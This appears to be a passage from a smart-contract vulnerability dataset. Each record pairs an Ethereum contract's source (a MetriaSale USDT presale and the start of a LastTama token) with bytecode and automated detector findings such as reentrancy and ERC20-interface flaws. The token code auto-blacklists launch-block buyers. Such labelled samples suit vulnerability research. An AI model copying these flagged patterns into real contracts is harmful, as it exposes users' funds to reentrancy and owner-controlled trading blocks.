323082613b82565b602082019050919050565b6000613248602183613683565b915061325382613bab565b604082019050919050565b600061326b602083613683565b915061327682613bfa565b602082019050919050565b600061328e602983613683565b915061329982613c23565b604082019050919050565b60006132b1602583613683565b91506132bc82613c72565b604082019050919050565b60006132d4602383613683565b91506132df82613cc1565b604082019050919050565b60006132f7602483613683565b915061330282613d10565b604082019050919050565b613316816137e7565b82525050565b613325816137f1565b82525050565b60006020820190506133406000830184613050565b92915050565b600060208201905061335b60008301846130bd565b92915050565b600060208201905061337660008301846130cc565b92915050565b6000602082019050818103600083015261339681846130ea565b905092915050565b600060208201905081810360008301526133b781613123565b9050919050565b600060208201905081810360008301526133d781613146565b9050919050565b600060208201905081810360008301526133f781613169565b9050919050565b600060208201905081810360008301526134178161318c565b9050919050565b60006020820190508181036000830152613437816131af565b9050919050565b60006020820190508181036000830152613457816131d2565b9050919050565b60006020820190508181036000830152613477816131f5565b9050919050565b6000602082019050818103600083015261349781613218565b9050919050565b600060208201905081810360008301526134b78161323b565b9050919050565b600060208201905081810360008301526134d78161325e565b9050919050565b600060208201905081810360008301526134f781613281565b9050919050565b60006020820190508181036000830152613517816132a4565b9050919050565b60006020820190508181036000830152613537816132c7565b9050919050565b60006020820190508181036000830152613557816132ea565b9050919050565b6000602082019050613573600083018461330d565b92915050565b600060a08201905061358e600083018861330d565b61359b60208301876130db565b81810360408301526135ad818661305f565b90506135bc6060830185613050565b6135c9608083018461330d565b9695505050505050565b60006020820190506135e8600083018461331c565b92915050565b60006135f8613609565b90506136048282613867565b919050565b6000604051905090565b600067ffffffffffffffff82111561362e5761362d61393f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369f826137e7565b91506136aa836137e7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136df576136de6138e1565b5b828201905092915050565b60006136f5826137e7565b9150613700836137e7565b9250826137105761370f613910565b5b828204905092915050565b6000613726826137e7565b9150613731836137e7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561376a576137696138e1565b5b828202905092915050565b6000613780826137e7565b915061378b836137e7565b92508282101561379e5761379d6138e1565b5b828203905092915050565b60006137b4826137c7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061380982613810565b9050919050565b600061381b826137c7565b9050919050565b600061382d826137e7565b9050919050565b60005b83811015613852578082015181840152602081019050613837565b83811115613861576000848401525b50505050565b6138708261396e565b810181811067ffffffffffffffff8211171561388f5761388e61393f565b5b80604052505050565b60006138a3826137e7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d6576138d56138e1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d68816137a9565b8114613d7357600080fd5b50565b613d7f816137bb565b8114613d8a57600080fd5b50565b613d96816137e7565b8114613da157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3480faabce3f74158d4d98bd0d7522bf02d08ebbc01b7bc8e11ba548e06322264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
4,891
0x6f84706cdf580df92e541d8637984b21c2c60da2
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return payable(msg.sender); } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract Whitelist is Ownable { mapping (address => bool) private whitelistUser; bool private isWhitelistEnable; modifier onlyWhitelisted() { if(isWhitelistEnable){ require(isWhitelisted(msg.sender), "Whitelist: caller does not have the Whitelisted role"); } _; } function isWhitelisted(address account) public view returns (bool) { return whitelistUser[account]; } function setWhitelistEnable(bool value) public onlyOwner returns(bool){ isWhitelistEnable = value; return true; } function setWhitelistAddress (address[] memory users) public onlyOwner returns(bool){ for (uint i = 0; i < users.length; i++) { whitelistUser[users[i]] = true; } return true; } } // import ierc20 & safemath & non-standard interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface INonStandardERC20 { function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// function transferFrom( address src, address dst, uint256 amount ) external; function approve(address spender, uint256 amount) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } contract MetriaSale is Ownable, Whitelist { using SafeMath for uint256; event ClaimableAmount(address _user, uint256 _claimableAmount); //rate of token per usdt uint256 public rate; // max allowed purchase of usdt per user uint256 public allowedUserBalance; // check presale is over or not bool public presaleOver; // usdt token address IERC20 public usdt; // check claimable amount of given user mapping(address => uint256) public claimable; // hardcap to raise in usdt uint256 public hardcap; // participated user addresses address[] public participatedUsers; uint256 public totalTokensSold; /* * @notice Initialize the contract * @param _rate: rate of token * @param _usdt: usdt token address * @param _hardcap: amount to raise * @param _allowedUserBalance: max allowed purchase of usdt per user */ constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) { rate = _rate; usdt = IERC20(_usdt); presaleOver = true; hardcap = _hardcap; allowedUserBalance = _allowedUserBalance; } modifier isPresaleOver() { require(presaleOver == true, "Metria Sale is not over"); _; } /* * @notice Change Hardcap * @param _hardcap: amount in usdt */ function changeHardCap(uint256 _hardcap) onlyOwner public { hardcap = _hardcap; } /* * @notice Change Rate * @param _rate: token rate per usdt */ function changeRate(uint256 _rate) onlyOwner public { rate = _rate; } /* * @notice Change Allowed user balance * @param _allowedUserBalance: amount allowed per user to purchase tokens in usdt */ function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public { allowedUserBalance = _allowedUserBalance; } /* * @notice get total number of participated user * @return no of participated user */ function getTotalParticipatedUser() public view returns(uint256){ return participatedUsers.length; } /* * @notice end presale */ function endPresale() external onlyOwner returns (bool) { presaleOver = true; return presaleOver; } /* * @notice start presale */ function startPresale() external onlyOwner returns (bool) { presaleOver = false; return presaleOver; } /* * @notice Buy Token with USDT * @param _amount: amount of usdt */ function buyTokenWithUSDT(uint256 _amount) external onlyWhitelisted{ // user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping require(presaleOver == false, "Metria Sale is over you cannot buy now"); uint256 tokensPurchased = _amount.div(rate); totalTokensSold = totalTokensSold.add(tokensPurchased); uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased); require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached"); // for USDT require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance"); doTransferIn(address(usdt), msg.sender, _amount); claimable[msg.sender] = userUpdatedBalance; participatedUsers.push(msg.sender); emit ClaimableAmount(msg.sender, tokensPurchased); } /* * @notice get user list * @return userAddress: user address list * @return amount : user wise claimable amount list */ function getUsersList(uint startIndex, uint endIndex) external view returns(address[] memory userAddress, uint[] memory amount){ uint length = endIndex.sub(startIndex); address[] memory _userAddress = new address[](length); uint[] memory _amount = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address user = participatedUsers[i]; uint listIndex = i.sub(startIndex); _userAddress[listIndex] = user; _amount[listIndex] = claimable[user]; } return (_userAddress, _amount); } /* * @notice do transfer in - tranfer token to contract * @param tokenAddress: token address to transfer in contract * @param from : user address from where to transfer token to contract * @param amount : amount to trasnfer */ function doTransferIn( address tokenAddress, address from, uint256 amount ) internal returns (uint256) { INonStandardERC20 _token = INonStandardERC20(tokenAddress); uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this)); _token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set success = returndata of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was actually transferred uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract } /* * @notice do transfer out - tranfer token from contract * @param tokenAddress: token address to transfer from contract * @param to : user address to where transfer token from contract * @param amount : amount to trasnfer */ function doTransferOut( address tokenAddress, address to, uint256 amount ) internal { INonStandardERC20 _token = INonStandardERC20(tokenAddress); _token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set success = returndata of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } /* * @notice funds withdraw * @param _value: usdt value to transfer from contract to owner */ function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver { doTransferOut(address(usdt), _msgSender(), _value); } /* * @notice funds withdraw * @param _tokenAddress: token address to transfer * @param _value: token value to transfer from contract to owner */ function transferAnyERC20Tokens(address _tokenAddress, uint256 _value) external onlyOwner { doTransferOut(address(_tokenAddress), _msgSender(), _value); } function calculateToken(uint _amountUSDT) public view returns(uint) { return _amountUSDT/rate; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806363b20117116100de578063b071cbe611610097578063c8d8b6fa11610071578063c8d8b6fa14610313578063e3b8686514610326578063eb72d0c814610339578063f2fde38b1461035a57600080fd5b8063b071cbe6146102e4578063b56d2f67146102ed578063bcd2f64a1461030057600080fd5b806363b201171461029457806370fa7f1d1461029d578063715018a6146102b057806374e7493b146102b85780638da5cb5b146102cb578063a43be57b146102dc57600080fd5b80632c4e722e116101305780632c4e722e146101f95780632f48ab7d146102025780633af32abf14610232578063402914f51461025e5780634738a8831461027e57806359ccecc91461028b57600080fd5b806304c98b2b1461017857806308b289b714610195578063158499ce146101aa5780631b3d36de146101bd57806324c68bc7146101de57806324f32f82146101e6575b600080fd5b61018061036d565b60405190151581526020015b60405180910390f35b6101a86101a336600461107f565b6103b1565b005b6101806101b83660046110a9565b6103eb565b6101d06101cb366004611197565b610488565b60405190815260200161018c565b6008546101d0565b6101a86101f4366004611197565b61049e565b6101d060035481565b60055461021a9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b610180610240366004611064565b6001600160a01b031660009081526001602052604090205460ff1690565b6101d061026c366004611064565b60066020526000908152604090205481565b6005546101809060ff1681565b6101d060045481565b6101d060095481565b61021a6102ab366004611197565b6104cd565b6101a86104f7565b6101a86102c6366004611197565b61056b565b6000546001600160a01b031661021a565b61018061059a565b6101d060075481565b6101806102fb366004611175565b6105d9565b6101a861030e366004611197565b61061b565b6101a8610321366004611197565b610932565b6101a8610334366004611197565b6109d1565b61034c6103473660046111c9565b610a00565b60405161018c9291906111eb565b6101a8610368366004611064565b610b78565b600080546001600160a01b031633146103a15760405162461bcd60e51b8152600401610398906112c4565b60405180910390fd5b506005805460ff19169055600090565b6000546001600160a01b031633146103db5760405162461bcd60e51b8152600401610398906112c4565b6103e782335b83610c62565b5050565b600080546001600160a01b031633146104165760405162461bcd60e51b8152600401610398906112c4565b60005b825181101561047d57600180600085848151811061043957610439611391565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104758161134a565b915050610419565b50600190505b919050565b6000600354826104989190611311565b92915050565b6000546001600160a01b031633146104c85760405162461bcd60e51b8152600401610398906112c4565b600755565b600881815481106104dd57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146105215760405162461bcd60e51b8152600401610398906112c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105955760405162461bcd60e51b8152600401610398906112c4565b600355565b600080546001600160a01b031633146105c55760405162461bcd60e51b8152600401610398906112c4565b506005805460ff1916600190811790915590565b600080546001600160a01b031633146106045760405162461bcd60e51b8152600401610398906112c4565b506002805460ff1916911515919091179055600190565b60025460ff16156106a2573360009081526001602052604090205460ff166106a25760405162461bcd60e51b815260206004820152603460248201527f57686974656c6973743a2063616c6c657220646f6573206e6f742068617665206044820152737468652057686974656c697374656420726f6c6560601b6064820152608401610398565b60055460ff16156107045760405162461bcd60e51b815260206004820152602660248201527f4d65747269612053616c65206973206f76657220796f752063616e6e6f7420626044820152657579206e6f7760d01b6064820152608401610398565b600061071b60035483610d4a90919063ffffffff16565b60095490915061072b9082610d93565b600955336000908152600660205260408120546107489083610d93565b6007546005546040516370a0823160e01b815230600482015292935090916107d99161010090046001600160a01b0316906370a082319060240160206040518083038186803b15801561079a57600080fd5b505afa1580156107ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d291906111b0565b8590610d93565b11156108275760405162461bcd60e51b815260206004820152601e60248201527f4861726463617020666f722074686520746f6b656e73207265616368656400006044820152606401610398565b600454600354610838908390610d4a565b11156108865760405162461bcd60e51b815260206004820152601d60248201527f457863656564656420616c6c6f77656420757365722062616c616e63650000006044820152606401610398565b6005546108a29061010090046001600160a01b03163385610db2565b503360008181526006602090815260408083208590556008805460018101825593527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee390920180546001600160a01b03191684179055815192835282018490527f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a453910160405180910390a1505050565b6000546001600160a01b0316331461095c5760405162461bcd60e51b8152600401610398906112c4565b60055460ff1615156001146109b35760405162461bcd60e51b815260206004820152601760248201527f4d65747269612053616c65206973206e6f74206f7665720000000000000000006044820152606401610398565b6005546109ce9061010090046001600160a01b0316336103e1565b50565b6000546001600160a01b031633146109fb5760405162461bcd60e51b8152600401610398906112c4565b600455565b6060806000610a0f8486610ffa565b905060008167ffffffffffffffff811115610a2c57610a2c6113a7565b604051908082528060200260200182016040528015610a55578160200160208202803683370190505b50905060008267ffffffffffffffff811115610a7357610a736113a7565b604051908082528060200260200182016040528015610a9c578160200160208202803683370190505b509050865b86811015610b6b57600060088281548110610abe57610abe611391565b60009182526020822001546001600160a01b03169150610ade838b610ffa565b905081858281518110610af357610af3611391565b60200260200101906001600160a01b031690816001600160a01b03168152505060066000836001600160a01b03166001600160a01b0316815260200190815260200160002054848281518110610b4b57610b4b611391565b602090810291909101015250610b649050816001610d93565b9050610aa1565b5090969095509350505050565b6000546001600160a01b03163314610ba25760405162461bcd60e51b8152600401610398906112c4565b6001600160a01b038116610c075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610398565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284919082169063a9059cbb90604401600060405180830381600087803b158015610caf57600080fd5b505af1158015610cc3573d6000803e3d6000fd5b5050505060003d60008114610cdf5760208114610ce957600080fd5b6000199150610cf5565b60206000803e60005191505b5080610d435760405162461bcd60e51b815260206004820152601960248201527f544f4b454e5f5452414e534645525f4f55545f4641494c4544000000000000006044820152606401610398565b5050505050565b6000610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611016565b9392505050565b600080610da083856112f9565b905083811015610d8c57610d8c611365565b6040516370a0823160e01b8152306004820152600090849082906001600160a01b038316906370a082319060240160206040518083038186803b158015610df857600080fd5b505afa158015610e0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3091906111b0565b6040516323b872dd60e01b81526001600160a01b03878116600483015230602483015260448201879052919250908316906323b872dd90606401600060405180830381600087803b158015610e8457600080fd5b505af1158015610e98573d6000803e3d6000fd5b5050505060003d60008114610eb45760208114610ebe57600080fd5b6000199150610eca565b60206000803e60005191505b5080610f185760405162461bcd60e51b815260206004820152601860248201527f544f4b454e5f5452414e534645525f494e5f4641494c454400000000000000006044820152606401610398565b6040516370a0823160e01b81523060048201526000906001600160a01b038916906370a082319060240160206040518083038186803b158015610f5a57600080fd5b505afa158015610f6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9291906111b0565b905082811015610fe45760405162461bcd60e51b815260206004820152601a60248201527f544f4b454e5f5452414e534645525f494e5f4f564552464c4f570000000000006044820152606401610398565b610fee8184610ffa565b98975050505050505050565b60008282111561100c5761100c611365565b610d8c8284611333565b600081836110375760405162461bcd60e51b8152600401610398919061126f565b5060006110448486611311565b95945050505050565b80356001600160a01b038116811461048357600080fd5b60006020828403121561107657600080fd5b610d8c8261104d565b6000806040838503121561109257600080fd5b61109b8361104d565b946020939093013593505050565b600060208083850312156110bc57600080fd5b823567ffffffffffffffff808211156110d457600080fd5b818501915085601f8301126110e857600080fd5b8135818111156110fa576110fa6113a7565b8060051b604051601f19603f8301168101818110858211171561111f5761111f6113a7565b604052828152858101935084860182860187018a101561113e57600080fd5b600095505b83861015611168576111548161104d565b855260019590950194938601938601611143565b5098975050505050505050565b60006020828403121561118757600080fd5b81358015158114610d8c57600080fd5b6000602082840312156111a957600080fd5b5035919050565b6000602082840312156111c257600080fd5b5051919050565b600080604083850312156111dc57600080fd5b50508035926020909101359150565b604080825283519082018190526000906020906060840190828701845b8281101561122d5781516001600160a01b031684529284019290840190600101611208565b5050508381038285015284518082528583019183019060005b8181101561126257835183529284019291840191600101611246565b5090979650505050505050565b600060208083528351808285015260005b8181101561129c57858101830151858201604001528201611280565b818111156112ae576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561130c5761130c61137b565b500190565b60008261132e57634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156113455761134561137b565b500390565b600060001982141561135e5761135e61137b565b5060010190565b634e487b7160e01b600052600160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220baa4cea9471aa35ef45985129467812ee43a3520466e67b4a4b3adb066c03c0f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
4,892
0x18e4eca3c0bb4906c4b22e645aab6543646aab2a
/** *Submitted for verification at Etherscan.io on 2022-02-05 */ /** tg, website and utility reveal at 11PM UTC // SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LastTama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LastTama";// string private constant _symbol = "LAT";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 3;// uint256 private _taxFeeOnBuy = 9;// //Sell Fee uint256 private _redisFeeOnSell = 3;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x6F3D8dd2816A28D57Cee9d83FB7cC01Ad689d747);// address payable private _marketingAddress = payable(0x6F3D8dd2816A28D57Cee9d83FB7cC01Ad689d747);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; // uint256 public _maxWalletSize = 60000000 * 10**9; // uint256 public _swapTokensAtAmount = 1500000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; 